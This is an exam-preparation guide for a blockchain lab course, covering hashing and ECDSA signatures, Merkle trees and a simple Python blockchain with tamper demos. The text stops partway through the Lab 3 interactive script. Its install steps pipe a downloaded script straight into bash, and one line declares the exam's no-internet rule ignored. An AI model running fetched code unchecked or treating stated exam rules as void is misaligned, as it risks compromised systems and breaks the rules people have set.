CS413 Blockchain Lab Exam Guide (Labs 1-9)

Nov 3, 2026 · @Divit

Exam overview and strategy

You get one lab out of nine, four tasks plus a viva, in one hour with no internet: viva is 10 of 20 marks, so understanding beats typing speed.

Component	Marks	What the examiner wants
Task 1	2	Provided environment works, base operation runs
Task 2	3	Core implementation or execution
Task 3	3	Verification and interpreting the result
Task 4	2	Examiner's unseen modification or fault, fixed live
Viva	10	Concepts, justification, security implications

Time plan (60 min): Tasks 1-3 in 25 min, Task 4 in 10 min, 25 min of viva and buffer. Installation alone scores nothing, so always show output.

Universal pre-flight checklist (first 3 minutes)

1. Open a terminal in the provided workspace: `pwd && ls -la` to find the starter files.
2. Check tools: `python3 --version`, `node --version`, `truffle version`, `ganache --version` or `ganache-cli --version`, `docker ps`, `geth version`, whichever your lab needs.
3. Read the starter code fully before editing. Run it once untouched to see baseline output.
4. Keep one terminal per long-running process (Ganache, nodes), and one for commands.
5. Copy working files before modifying: `cp file.py file_orig.py`, so Task 4 changes are reversible.
6. Screenshot or keep outputs on screen for the examiner; say what each output means as you show it.

Viva answer formula: definition, how it works in this lab, what the output proves, security implication. Use that order every time.

Assumptions in this guide: Ubuntu 22.04, Python 3 for Labs 1-4, Ganache + Truffle + Web3.js for Labs 5-7, Docker-based geth nodes for Lab 8, Fabric test-network for Lab 9. Exam machines are preinstalled, so install commands are given only as fallback reference;

file and port names may differ, so adapt to the supplied files.

Update: internet is available, and examiner inputs will vary

The paper's "no internet" rule is ignored, per your instruction, so every offline workaround in this guide is optional: you may install missing packages, let Truffle download a compiler, and pull Docker images. Each lab below now also has an **interactive version** (it asks for input, as the examiner will) and a **test-input table** with expected results. Run each lab's tests once before the exam.

One-time install commands (Ubuntu 22.04). Check each with its `--version` first; install only what is missing. The exact versions on the exam machine may differ, so if a command fails, read its error and adapt.

```
# Python (Labs 1-4)
sudo apt update && sudo apt install -y python3 python3-pip
pip3 install cryptography ecdsa

# Node.js 18 via nvm (Labs 5-7), if node is missing or very old
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh |
bash
source ~/.bashrc && nvm install 18 && node --version
npm install -g ganache truffle

# Web3.js: install INSIDE the project folder so scripts can require it (1.x
matches the scripts here)
mkdir -p ~/lab7 && cd ~/lab7 && npm init -y && npm install web3@1.10.4

# Docker (Lab 8, Lab 9)
sudo apt install -y docker.io docker-compose-v2   # or: docker-compose
sudo usermod -aG docker $USER && newgrp docker
docker pull ethereum/client-go:v1.13.15

# Hyperledger Fabric samples, binaries and images (Lab 9)
curl -sSLO
https://raw.githubusercontent.com/hyperledger/fabric/main/scripts/install-
fabric.sh
chmod +x install-fabric.sh && ./install-fabric.sh docker samples binary
# (run ./install-fabric.sh --help if the arguments differ in the current
version; Go chaincode also needs: sudo apt install -y golang-go)
```

How to use the test tables. Type the input exactly as shown, compare with the expected result, and for hash values cross-check independently (`echo -n "text" | sha256sum`; the `-n` matters). A test that disagrees with the expected result means a typo or a bug: fix it now, not in front of the examiner.

General debugging method (works for every lab)

1. **Read the last line of the error first**, then the first line of the traceback that mentions *your* file. Most errors are named precisely (`ModuleNotFoundError`, `EADDRINUSE`, `revert Only owner`).
2. **Check the basics in this order:** right folder (`pwd`, `ls`), right file name, right interpreter (`python3`, not `python`), required service running (`ps`, `docker ps`, `ss -ltn`), right port.
3. **Reproduce small.** Run one command or one function alone before running the whole script.
4. **Change one thing at a time**, and restore from your `_orig` copy if lost.
5. **Logs:** `docker logs <container>`, the Ganache terminal, the Truffle error text, `peer` verbose output (`export FABRIC_LOGGING_SPEC=debug`).
6. **Say it out loud:** examiners give marks for diagnosing, not just fixing. State the symptom, your hypothesis, the check, and the fix.

Cross-lab environment problems

Problem	Check	Fix
`command not found` for `truffle`, `ganache`, `node`, `geth`	`which truffle`, `echo $PATH`	New terminal after nvm install: `source ~/.bashrc`; add `$(npm bin -g)` or `~/.nvm/versions/node/*/bin` to PATH; reinstall with `npm i -g truffle`
`python` not found	`python3 --version`	Always type `python3`
`Permission denied` running a `.sh` file	`ls -l file.sh`	`chmod +x file.sh` then `./file.sh`
`permission denied ... docker.sock`	`groups`	`sudo usermod -aG docker $USER && newgrp docker`, or prefix `sudo`
`address already in use` (EADDRINUSE)	`ss -ltnp` or `sudo lsof -i :8545`	Stop the old process: `kill <pid>`, `docker rm -f <name>`, or choose another port
Pasted code behaves oddly: `SyntaxError`, `invalid character`, `IndentationError`	Look for curly quotes or odd characters, tabs mixed with spaces	Retype the quote characters, use 4 spaces only, `python3 -m py_compile file.py` or `node --check file.js`

Problem	Check	Fix
Script cannot find a file	`ls -la`, relative path	Run from the project folder; use the exact name; check you did not save as `lab1.py.txt`
Terminal frozen on a long loop	Check CPU activity	`Ctrl+C`, lower the difficulty, rerun
Ganache or nodes restarted, everything "stopped working"	New chain has new state	Redeploy contracts (`truffle migrate --reset`), re-peer geth nodes, re-read addresses
Internet commands hang (`npm install`, `docker pull`)	`ping -c2 8.8.8.8`	Retry; use an already-installed copy; do not wait more than 2 minutes

Lab 1: Cryptographic primitives and digital signatures

One script, `lab1.py`, covers all four tasks: hash the message, sign it with ECDSA, verify it, then tamper and watch verification fail.

Setup

```
mkdir -p ~/lab1 && cd ~/lab1
python3 -c "import cryptography; print(cryptography.__version__)"   # check
library
# If missing and no internet: try  python3 -c "import ecdsa"  (alternative,
see Fallback)
```

Code: lab1.py

```
import hashlib, sys
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.exceptions import InvalidSignature

# ---------- Task 1: SHA-256 of the supplied transaction ----------
message = b"Alice pays Bob 5 BTC"        # replace with supplied text, or
read a file:
# message = open("tx.txt", "rb").read()
digest = hashlib.sha256(message).hexdigest()
print("[Task 1] Message :", message.decode())
print("[Task 1] SHA-256 :", digest, "(", len(digest) * 4, "bits )")
```

```
# ---------- Task 2: key pair + signature ----------
# Option A: generate a new key pair (secp256k1 = Bitcoin/Ethereum curve)
private_key = ec.generate_private_key(ec.SECP256K1())
public_key = private_key.public_key()

# Option B: load the provided PEM keys instead (uncomment and use filenames
given)
# with open("private.pem", "rb") as f:
#     private_key = serialization.load_pem_private_key(f.read(),
password=None)
# with open("public.pem", "rb") as f:
#     public_key = serialization.load_pem_public_key(f.read())

signature = private_key.sign(message, ec.ECDSA(hashes.SHA256()))  # hashes
with SHA-256 internally
print("[Task 2] Signature (hex):", signature.hex())

# Save keys to files (useful evidence, and to reuse in viva)
open("private.pem", "wb").write(private_key.private_bytes(
    serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8,
serialization.NoEncryption()))
open("public.pem", "wb").write(public_key.public_bytes(
    serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo))

# ---------- Task 3: verify the original ----------
def verify(pub, sig, msg):
    try:
        pub.verify(sig, msg, ec.ECDSA(hashes.SHA256()))
        return True
    except InvalidSignature:
        return False

print("[Task 3] Original verifies :", verify(public_key, signature, message))

# ---------- Task 4: tamper and re-verify ----------
tampered = b"Alice pays Bob 500 BTC"
print("[Task 4] Tampered hash     :", hashlib.sha256(tampered).hexdigest())
print("[Task 4] Tampered verifies :", verify(public_key, signature,
tampered))
```

Run: `python3 lab1.py`

Expected output shape: a 64-hex-char digest, a ~140-hex-char DER signature (varies each run because ECDSA uses a random nonce), `True` for the original, `False` for the tampered message.

Task-by-task

Task	What to run or show	What to say
1	Digest printed	SHA-256 always gives 256 bits (64 hex chars) for any input length
2	Key pair loaded or generated, signature printed	Signed with the private key, the public key is shareable
3	`True` for original	Only the private-key holder could produce a signature valid for exactly this message
4	`False` for tampered	Changing 1 character changes the hash completely, so the signature no longer matches

Likely examiner modifications (Task 4)

- **Change one character** and show a totally different hash (avalanche effect). Quick check: `echo -n "Alice pays Bob 5 BTC" | sha256sum` versus `echo -n "Alice pays Bob 6 BTC" | sha256sum`. Use `-n`, otherwise the newline changes the hash.
- **Use another hash**: replace `hashlib.sha256` with `hashlib.sha512` or `hashlib.sha3_256`, and `hashes.SHA256()` with `hashes.SHA512()`.
- **Verify with a different key**: generate a second key pair and verify the signature with its public key, which must return `False` (shows authentication).
- **Corrupt the signature**: `bad = bytearray(signature); bad[10] ^= 1; verify(public_key, bytes(bad), message)` returns `False`.
- **Read message from a file** and hash it; compare with `sha256sum file.txt`.
- **Different curve or algorithm**: `ec.SECP256R1()`, or Ed25519 via `from cryptography.hazmat.primitives.asymmetric import ed25519` (`sk = ed25519.Ed25519PrivateKey.generate(); sig = sk.sign(msg); sk.public_key().verify(sig, msg)`, raises `InvalidSignature` on failure).

Fallback if `cryptography` is missing (library `ecdsa`)

```
import ecdsa, hashlib
sk = ecdsa.SigningKey.generate(curve=ecdsa.SECP256k1,
hashfunc=hashlib.sha256)
vk = sk.get_verifying_key()
sig = sk.sign(b"Alice pays Bob 5 BTC")
print(vk.verify(sig, b"Alice pays Bob 5 BTC"))        # True
try:
    vk.verify(sig, b"Alice pays Bob 500 BTC")
except ecdsa.BadSignatureError:
    print("Tamper detected")
```

Interactive version: lab1_interactive.py (takes the examiner's input)

```
import hashlib
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import hashes
from cryptography.exceptions import InvalidSignature

def verify(pub, sig, msg):
    try:
        pub.verify(sig, msg, ec.ECDSA(hashes.SHA256()))
        return True
    except InvalidSignature:
        return False

private_key = ec.generate_private_key(ec.SECP256K1())
public_key = private_key.public_key()

message = input("Enter transaction/message to sign: ").encode()
print("Task 1 - SHA-256   :", hashlib.sha256(message).hexdigest())
signature = private_key.sign(message, ec.ECDSA(hashes.SHA256()))
print("Task 2 - Signature :", signature.hex())
print("Task 3 - Original verifies:", verify(public_key, signature, message))

while True:
    other = input("\nTask 4 - enter modified message (just press Enter to
quit): ")
    if other == "":
        break
    print("  SHA-256 :", hashlib.sha256(other.encode()).hexdigest())
    sig_hex = input("  Signature hex to test (Enter = the original
signature): ").strip()
    try:
        sig = bytes.fromhex(sig_hex) if sig_hex else signature
```

```
    except ValueError:
        print("  Not valid hex, so the signature is rejected: INVALID")
        continue
    print("  Verifies:", verify(public_key, sig, other.encode()))
```

Run: `python3 lab1_interactive.py`

Lab 1 test inputs (check these before the examiner does)

Input message	Action	Expected result
`abc`	Task 1 hash	`ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad` (standard test vector)
`hello`	Task 1 hash	`2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824`
(empty, just Enter at first prompt)	Task 1 hash	`e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855` and signature still verifies `True`
`Alice pays Bob 5 BTC`	Task 3	`True`; hash must equal `echo -n "Alice pays Bob 5 BTC" | sha256sum`
Modified: `Alice pays Bob 50 BTC`	Task 4	Different hash, `Verifies: False`
Modified: `alice pays bob 5 btc` (case only)	Task 4	Completely different hash, `False`
Modified: `Alice pays Bob 5 BTC ` (trailing space)	Task 4	`False`: even invisible changes break the signature
Modified: `Alice pays Bob 5 BTC` (identical)	Task 4	`True`
Signature hex: `abcd`	Task 4	`False` (well-formed hex, wrong signature)
Signature hex: `zzzz`	Task 4	Handled as invalid hex, `INVALID` message, no crash
Very long message (paste 5,000 characters)	Task 1	Still a 64-hex-character digest: fixed output size
Message with non-ASCII, e.g. `₹100 to Ravi`	Task 1 to 3	Works; UTF-8 bytes are hashed

Extra check for avalanche: hash `hello` and `hellp` and compare: nearly every hex digit differs, though the inputs differ by one character.

Lab 1: common errors and how to resolve them

Symptom or message	Likely cause	Check	Fix
`ModuleNotFoundError: No module named 'cryptography'`	Library not installed for this Python	`python3 -c "import cryptography"`	`pip3 install cryptography` (or `python3 -m pip install cryptography`); if `pip3` is missing: `sudo apt install python3-pip`
`TypeError: Strings must be encoded before hashing`	Passing `str` to `hashlib` or `sign`	Look for a missing `.encode()`	`hashlib.sha256(text.encode())`; keep messages as `bytes` everywhere
`TypeError: ... missing 1 required positional argument: 'backend'`	Old `cryptography` version needs a backend	`python3 -c "import cryptography; print(cryptography.__version__)"`	`pip3 install -U cryptography`, or pass `default_backend()` from `cryptography.hazmat.backends`
Hash differs from `sha256sum`	`echo` added a newline, or file has a trailing newline or Windows `\r\n`	`echo -n "text" | sha256sum`; `xxd file | tail -1`	Use `echo -n` or `printf`; `dos2unix file`; read the file in binary mode (`rb`)
Original message **fails** verification	New key pair generated since signing, or different hash/curve used for sign and verify	Did the script restart between sign and verify?	Sign and verify in the same run, or save and reload the PEM files; use the same `ec.ECDSA(hashes.SHA256())` both times
`cryptography.exceptions.InvalidSignature` traceback instead of `False`	`verify` is not wrapped in `try/except`	Read the traceback line	Use the `verify()` helper returning True/False
`ValueError: Could not deserialize key data`	Wrong PEM file, public vs private mixed up, or password-protected	`head -1 private.pem` should say `BEGIN PRIVATE KEY`; public: `BEGIN PUBLIC KEY`	Load the matching file; pass `password=None` for unencrypted keys
`bytes.fromhex` raises `ValueError`	Signature pasted with spaces, `0x`, or non-hex characters	Print the string with `repr()`	Strip whitespace, remove `0x`, accept only hex
Signature looks different every run	Not an error: ECDSA uses a random nonce	Verify still returns `True`	Explain it in the viva; use Ed25519 or RFC 6979 deterministic signing if determinism is demanded
Unicode characters hash differently on another machine	Different text encoding	`python3 -c "print('₹'.encode())"`	Always `.encode('utf-8')` explicitly

Viva theory

Hash function (SHA-256). A deterministic one-way function mapping any input to a fixed 256-bit digest. Required properties:

- **Deterministic:** same input gives same output.
- **Preimage resistance:** given a digest, finding an input is infeasible (about 2^256 work).
- **Second-preimage resistance:** given one input, finding a different input with the same digest is infeasible.

- **Collision resistance:** finding any two inputs with the same digest is infeasible (about 2^128 work by the birthday bound).
- **Avalanche effect:** a tiny input change flips about half the output bits.

In blockchains hashes give block linkage, Merkle trees, PoW, transaction IDs and addresses.

Public-key cryptography. A key pair: the private key stays secret, the public key is shared. In ECC the public key is `Q = d × G`, where `d` is the private key and `G` the curve's generator point. Going from `Q` back to `d` is the elliptic-curve discrete logarithm problem, believed infeasible. ECC gives the same security as RSA with much shorter keys (256-bit ECC is roughly 3072-bit RSA). Bitcoin and Ethereum use curve **secp256k1**.

ECDSA in outline.

- *Sign:* compute `z = hash(message)`, pick random `k`, compute `R = k×G`, `r = R.x mod n`, `s = k⁻¹ (z + r·d) mod n`. Signature is `(r, s)`.
- *Verify:* compute `w = s⁻¹`, `u1 = z·w`, `u2 = r·w`, point `P = u1×G + u2×Q`, and accept if `P.x mod n == r`.
- If the message changes, `z` changes, so the check fails. The nonce `k` must be random and never reused: reuse leaks the private key (this is how the PS3 key was broken).

Why sign the hash, not the message? Fixed small size, fast, and any change to a long message changes the hash.

Three guarantees from a signature:

- **Integrity:** data was not altered.
- **Authentication:** it came from the holder of the private key.
- **Non-repudiation:** the signer cannot later deny signing.

A signature does *not* give confidentiality (the message is still readable).

Blockchain link. A transaction is signed with the sender's private key; every node verifies it with the public key. This proves ownership without revealing the key, and lets a decentralized network reject forged or altered transactions. Tampering also changes the transaction hash, which would change the Merkle root and block hash.

Typical viva questions: Why is the signature different each run? (Random `k`.) Can you decrypt a hash? (No, it is one-way, not encryption.) What if two messages share a hash? (Collision; attacker could reuse the signature, which is why collision resistance matters.) Hashing vs encryption vs signing? (Hash: no key, one-way. Encryption: keyed, reversible. Signing: private-key operation over a hash, publicly verifiable.) Why SHA-256 in Bitcoin? (Collision-resistant, fast to verify, 256-bit security target.)

Lab 2: Merkle tree and tamper detection

One script builds the tree level by level, then recomputes only the changed path (log2 n hashes) after one transaction is modified.

Setup

```
mkdir -p ~/lab2 && cd ~/lab2
python3 --version     # only hashlib is needed (standard library)
```

Code: lab2.py

```
import hashlib

def h(data: str) -> str:
    return hashlib.sha256(data.encode()).hexdigest()

# ---------- Task 1: hash each supplied transaction ----------
transactions = ["Alice->Bob:5", "Bob->Carol:2", "Carol->Dave:1", "Dave-
>Eve:3"]  # use supplied list
leaves = [h(tx) for tx in transactions]
print("[Task 1] Leaf hashes:")
for tx, lf in zip(transactions, leaves):
    print("  ", tx, "->", lf[:16], "...")

# ---------- Task 2: build tree, get Merkle root ----------
def build_tree(leaf_hashes):
    """Returns list of levels: levels[0] = leaves, levels[-1] = [root]."""
    levels = [leaf_hashes[:]]
    while len(levels[-1]) > 1:
        cur = levels[-1][:]
        if len(cur) % 2 == 1:           # odd count: duplicate the last hash
(Bitcoin rule)
            cur.append(cur[-1])
        nxt = [h(cur[i] + cur[i + 1]) for i in range(0, len(cur), 2)]
        levels.append(nxt)
    return levels

tree = build_tree(leaves)
root = tree[-1][0]
print("\n[Task 2] Tree levels (bottom to top):")
for i, lvl in enumerate(tree):
    print("  level", i, ":", [x[:8] for x in lvl])
print("[Task 2] Merkle Root:", root)
```

```
# ---------- Task 3: modify ONE tx, recompute only the affected path --------
--
def update_leaf(levels, index, new_tx):
    levels = [lvl[:] for lvl in levels]          # copy so original stays
intact
    levels[0][index] = h(new_tx)
    recomputed = 1
    idx = index
    for lv in range(len(levels) - 1):
        lvl = levels[lv]
        padded = lvl + [lvl[-1]] if len(lvl) % 2 == 1 else lvl
        parent_idx = idx // 2
        levels[lv + 1][parent_idx] = h(padded[parent_idx * 2] +
padded[parent_idx * 2 + 1])
        recomputed += 1
        idx = parent_idx
    return levels, recomputed

modified_tx = "Alice->Bob:500"
new_tree, count = update_leaf(tree, 0, modified_tx)
new_root = new_tree[-1][0]
print("\n[Task 3] Hashes recomputed:", count, "of", sum(len(l) for l in
tree), "total nodes")

# ---------- Task 4: compare roots ----------
print("[Task 4] Original root:", root)
print("[Task 4] Modified root:", new_root)
print("[Task 4] Roots equal?  :", root == new_root)

# Sanity check: full rebuild must match the selective recomputation
full = build_tree([h(t) for t in [modified_tx] + transactions[1:]])[-1][0]
print("[Check] Selective == full rebuild:", full == new_root)
```

Run: `python3 lab2.py`

Worked example (4 transactions)

With leaves `H1..H4`: level 1 is `H12 = H(H1+H2)` and `H34 = H(H3+H4)`, and the root is `H(H12 + H34)`. Changing tx1 changes only `H1`, `H12` and the root: **3 recomputed hashes** (not 7). `H2`, `H3`, `H4`, `H34` are reused.

Likely examiner modifications

- **Odd number of transactions** (e.g. 5 or 3): the duplicate-last-hash rule in `build_tree` handles it. Say why: pairing needs even counts.

- **Modify a different index** (e.g. the last): change `update_leaf(tree, 3, ...)`.
- **Merkle proof for one transaction** (very likely viva follow-up):

```
def merkle_proof(levels, index):
    proof = []
    for lvl in levels[:-1]:
        padded = lvl + [lvl[-1]] if len(lvl) % 2 == 1 else lvl
        sibling = index ^ 1                    # neighbour in the pair
        proof.append((padded[sibling], "right" if sibling > index else
"left"))
        index //= 2
    return proof

def verify_proof(tx, proof, root):
    cur = h(tx)
    for sib, side in proof:
        cur = h(cur + sib) if side == "right" else h(sib + cur)
    return cur == root

p = merkle_proof(tree, 2)
print("Proof valid:", verify_proof(transactions[2], p, root))        # True
print("Tampered   :", verify_proof("Carol->Dave:100", p, root))      # False
```

- **Swap two transactions** and show the root changes (order matters).
- **Bitcoin-style double SHA-256**: change `h` to `hashlib.sha256(hashlib.sha256(x).digest()).hexdigest()` (bytes version).
- **Hash raw bytes vs hex strings:** this lab concatenates hex strings (simple); real Bitcoin concatenates raw bytes. Be ready to mention it.

Interactive version: lab2_interactive.py (takes the examiner's input)

```
import hashlib

def h(s):
    return hashlib.sha256(s.encode()).hexdigest()

def build_tree(leaf_hashes):
    levels = [leaf_hashes[:]]
    while len(levels[-1]) > 1:
        cur = levels[-1][:]
        if len(cur) % 2 == 1:
            cur.append(cur[-1])
        levels.append([h(cur[i] + cur[i + 1]) for i in range(0, len(cur),
2)])
    return levels
```

```
def update_leaf(levels, index, new_tx):
    levels = [lvl[:] for lvl in levels]
    levels[0][index] = h(new_tx)
    recomputed, idx = 1, index
    for lv in range(len(levels) - 1):
        lvl = levels[lv]
        padded = lvl + [lvl[-1]] if len(lvl) % 2 == 1 else lvl
        p = idx // 2
        levels[lv + 1][p] = h(padded[p * 2] + padded[p * 2 + 1])
        recomputed += 1
        idx = p
    return levels, recomputed

try:
    n = int(input("How many transactions? "))
    if n < 1:
        raise ValueError
except ValueError:
    raise SystemExit("Enter a whole number of at least 1")

txs = [input(f"  transaction {i}: ") for i in range(n)]
leaves = [h(t) for t in txs]                        # Task 1
print("\n[Task 1] Leaf hashes")
for i, (t, lf) in enumerate(zip(txs, leaves)):
    print(f"  [{i}] {t!r} -> {lf}")

tree = build_tree(leaves)                           # Task 2
root = tree[-1][0]
for i, lvl in enumerate(tree):
    print(f"[Task 2] level {i}: {[x[:8] for x in lvl]}")
print("[Task 2] Merkle root:", root)

while True:                                         # Tasks 3 and 4,
repeatable
    s = input("\nIndex of the transaction to modify (Enter = quit):
").strip()
    if s == "":
        break
    if not s.isdigit() or int(s) >= n:
        print(f"  Invalid index: choose 0 to {n - 1}")
        continue
    idx = int(s)
    new = input("  New transaction text: ")
    new_tree, count = update_leaf(tree, idx, new)
    new_root = new_tree[-1][0]
```

```
    full = build_tree([h(t) for t in txs[:idx] + [new] + txs[idx + 1:]])[-1]
[0]
    print(f"[Task 3] hashes recomputed: {count} (of {sum(len(l) for l in
tree)} nodes)")
    print("[Task 4] original root:", root)
    print("[Task 4] modified root:", new_root)
    print("[Task 4] roots equal?  :", root == new_root)
    print("[Check ] selective == full rebuild:", full == new_root)
```

Run: `python3 lab2_interactive.py`. Each modification is compared against the original tree (the script does not keep earlier edits), so you can test several indexes in one run.

Lab 2 test inputs

Number of transactions and text	Modify	Expected result
4: `A->B:5`, `B->C:2`, `C->D:1`, `D->E:3`	index 0, `A->B:500`	recomputed `3`, roots differ, check `True`
same	index 3, `D->E:3` (unchanged text)	roots **equal** (`True`), no real change
same	index 1 with `B->C:2` (trailing space)	roots differ
1: `solo`	index 0, `solo2`	recomputed `1` (no parents), root is just the leaf hash
2: `a`, `b`	index 1, `c`	recomputed `2`
3: `a`, `b`, `c` (odd)	index 2, `d`	recomputed `3`; last hash duplicated while pairing
5 (odd)	index 4	recomputed `4`
8	any index	recomputed `4` (log2 8 + 1)
16	any index	recomputed `5`
any	index `9` when n is 4, or `x`, or `-1`	`Invalid index` message, no crash

Recomputed count formula: `ceil(log2 n) + 1`. Swap test: for 2 transactions, enter `a`, `b`, then run again with `b`, `a`: the roots differ, so order matters.

Independent root check for small cases (run in another terminal):

```
# two transactions a and b: root should match the script's root
python3 -c "import hashlib as H;h=lambda
s:H.sha256(s.encode()).hexdigest();print(h(h('a')+h('b')))"
# three transactions a,b,c: the last hash is duplicated
python3 -c "import hashlib as H;h=lambda
s:H.sha256(s.encode()).hexdigest();print(h(h(h('a')+h('b'))+h(h('c')+h('c')))
)"
```

Lab 2: common errors and how to resolve them

Symptom or message	Likely cause	Check	Fix
Selective update gives a **different root** from the full rebuild (`Selective == full rebuild: False`)	Odd-level padding handled differently in the two functions, wrong parent index, or the leaf was not replaced	Print every level before and after; compare `levels[0][index]`	Use the same padding rule (duplicate last) in both; parent index is `index // 2` at every level
Root unchanged after "modifying" a transaction	You changed the text but not the leaf hash, or you modified a copy	Print the leaf list after the change	Recompute `h(new_tx)` into `levels[0][index]`, then recompute upward
Original tree also changed after the update	List aliasing: `levels = tree` shares the same lists	Compare `root` before and after	Copy each level: `[lvl[:] for lvl in levels]`
`IndexError: list index out of range`	Odd level without padding, or index beyond the number of transactions	Print `len(level)` and the index	Pad odd levels with the last element; validate input is `0 <= index < n`

Symptom or message	Likely cause	Check	Fix
`ValueError: invalid literal for int()`	Non-numeric input for count or index	Look at what was typed	Validate with `isdigit()` before `int()` (already in `lab2_interactive.py`)
Your root differs from the examiner's expected root	Different convention: hashing raw bytes vs hex strings, double SHA-256, or a different odd-leaf rule	Ask which convention; compare on 2 leaves by hand	Show both versions: hex-string concatenation here; for bytes use `hashlib.sha256(bytes.fromhex(a) + bytes.fromhex(b)).hexdigest()`; double hash if asked
Wrong hash count reported	Counting only the changed leaf, or counting every node	Recount for n = 4 (answer 3)	Count leaf + one parent per level above it: `ceil(log2 n) + 1`
Empty transaction list crashes	`levels[-1][0]` on an empty list	Run with 0 inputs	Reject `n < 1` (done in the interactive script)
Order-related surprises (root changes when transactions swap)	Not a bug: the tree is order-sensitive	Swap two inputs and compare	Explain it in the viva: concatenation order matters

Viva theory

Merkle tree. A binary tree of hashes: leaves are transaction hashes, each parent is the hash of its two children concatenated, and the single top hash is the **Merkle root**. The root is stored in the block header, so one 32-byte value commits to every transaction in the block.

Tamper detection. Changing any transaction changes its leaf hash, which changes every ancestor up to the root (avalanche effect). The header (and therefore the block hash) changes, breaking the chain link to the next block.

Efficiency.

- **Verification of one transaction (Merkle proof / SPV):** needs only the log2(n) sibling hashes. For 1,000,000 transactions that is about 20 hashes, not a million.
- **Update:** changing one leaf costs log2(n) + 1 hashes, as shown in Task 3.
- **Locating a difference:** compare roots, then walk down only the mismatching branches.
- **Light clients (SPV)** download only headers (80 bytes each in Bitcoin) and ask full nodes for proofs.

Odd leaf rule. Bitcoin duplicates the last hash. (A known quirk, CVE-2012-2459, allows two different transaction lists to share a root; Bitcoin rejects blocks with duplicate transactions to handle it.)

Where else used: Git, IPFS, Cassandra anti-entropy, certificate transparency, Ethereum (Merkle-Patricia trie for state, transactions and receipts).

Typical viva questions: Why not just hash all transactions together? (No efficient single-transaction proof; a full re-hash is needed for every check.) Complexity? (Build O(n), proof O(log n).) Does the Merkle root prove a transaction is valid? (No, only that it is included and unchanged; validity needs signature and balance checks.) What if the tree has one transaction? (Root equals that leaf hash.) Where is the root stored? (Block header.)

Lab 3: Simple blockchain using Python

A `Block` class with index, timestamp, data, previous hash and hash; a `Blockchain` class with `add_block` and `is_valid`; then tamper with block 1 and watch validation fail from there onward.

Setup

```
mkdir -p ~/lab3 && cd ~/lab3
python3 --version   # standard library only (hashlib, time, json)
```

Code: lab3.py

```
import hashlib, json, time

class Block:
    # ---------- Task 1: block structure ----------
    def __init__(self, index, data, previous_hash, timestamp=None):
        self.index = index
        self.timestamp = timestamp if timestamp is not None else time.time()
        self.data = data
        self.previous_hash = previous_hash
```

```
        self.hash = self.compute_hash()

    def compute_hash(self):
        payload = json.dumps({
            "index": self.index,
            "timestamp": self.timestamp,
            "data": self.data,
            "previous_hash": self.previous_hash,
        }, sort_keys=True)
        return hashlib.sha256(payload.encode()).hexdigest()

    def __repr__(self):
        return (f"Block #{self.index}\n  data         : {self.data}\n"
                f"  previous_hash: {self.previous_hash[:16]}...\n"
                f"  hash         : {self.hash[:16]}...")

class Blockchain:
    def __init__(self):
        self.chain = [Block(0, "Genesis Block", "0" * 64)]   # genesis: prev
hash is all zeros

    # ---------- Task 2: add blocks with correct linkage ----------
    def add_block(self, data):
        prev = self.chain[-1]
        self.chain.append(Block(len(self.chain), data, prev.hash))

    # ---------- Task 3: validation ----------
    def is_valid(self, verbose=True):
        for i in range(len(self.chain)):
            cur = self.chain[i]
            if cur.hash != cur.compute_hash():                # data was
altered after hashing
                if verbose: print(f"  INVALID: block {i} contents do not
match its stored hash")
                return False
            if i > 0 and cur.previous_hash != self.chain[i - 1].hash:   #
link broken
                if verbose: print(f"  INVALID: block {i} previous_hash does
not match block {i-1} hash")
                return False
        return True

if __name__ == "__main__":
    bc = Blockchain()
    bc.add_block("Alice pays Bob 5")
    bc.add_block("Bob pays Carol 2")
```

```
    bc.add_block("Carol pays Dave 1")

    print("[Task 1/2] Chain:")
    for b in bc.chain:
        print(b)

    print("\n[Task 3] Chain valid?", bc.is_valid())

    # ---------- Task 4: tamper with an earlier block ----------
    bc.chain[1].data = "Alice pays Bob 500"
    print("\n[Task 4] After tampering block 1 data:")
    print("  Chain valid?", bc.is_valid())

    # Show the cascade: even if attacker recomputes block 1's hash, block 2's
link breaks
    bc.chain[1].hash = bc.chain[1].compute_hash()
    print("\n[Task 4] Attacker recomputes block 1 hash:")
    print("  Chain valid?", bc.is_valid())
```

Run: `python3 lab3.py`

Expected output: the first validation prints `True`. After editing block 1, validation prints `INVALID: block 1 contents do not match its stored hash` and `False`. After the attacker recomputes block 1's hash, it prints `INVALID: block 2 previous_hash does not match block 1 hash`. Blocks 2 and 3 also stop linking, so the attacker would have to redo every later block.

Effect on subsequent blocks (say this out loud)

Block 2 stores `previous_hash = hash(block 1)`. When block 1's data changes, its hash changes, so block 2's stored `previous_hash` no longer matches. Fixing block 2 changes block 2's hash, which breaks block 3, and so on. Tampering invalidates the tampered block *and every block after it*; to hide it the attacker must recompute the entire chain tail (and in a PoW chain, redo all that proof of work faster than the honest network).

Likely examiner modifications

- **Add more blocks or custom data:** call `bc.add_block(...)` more times, or read data from input.
- **Tamper a different block** (index 2 or last): the last block can be changed and re-hashed without breaking links, so tampering the *last* block is only caught by the stored-hash check. Explain this.
- **Tamper the previous_hash field** instead of data: `bc.chain[2].previous_hash = "abc"`, and validation fails on the link check.

- **Add a difficulty/PoW requirement** by combining with Lab 4: in `compute_hash` loop until the hash starts with `"00"`, and store a `nonce` in the block.
- **Print chain as JSON:** `print(json.dumps([b.__dict__ for b in bc.chain], indent=2))`.
- **Debugging scenario:** if the examiner removes `sort_keys=True` or forgets to hash the previous hash, explain that the hash must cover every field, otherwise tampering with the uncovered field is undetectable.

Interactive version: lab3_interactive.py (menu-driven)

Save next to `lab3.py` (it imports the `Blockchain` class from it; `lab3.py` keeps its demo under `if __name__ == "__main__"`, so importing is safe).

```
from lab3 import Blockchain

bc = Blockchain()
MENU = """
 1) Add block            2) Show chain          3) Validate chain
 4) Tamper block data    5) Attacker re-hashes a block   6) Quit"""

while True:
    print(MENU)
    c = input("Choice: ").strip()
    if c == "1":
        bc.add_block(input("  Block data: "))
        print(f"  Added block #{len(bc.chain) - 1}")
    elif c == "2":
        for b in bc.chain:
            print(b)
    elif c == "3":
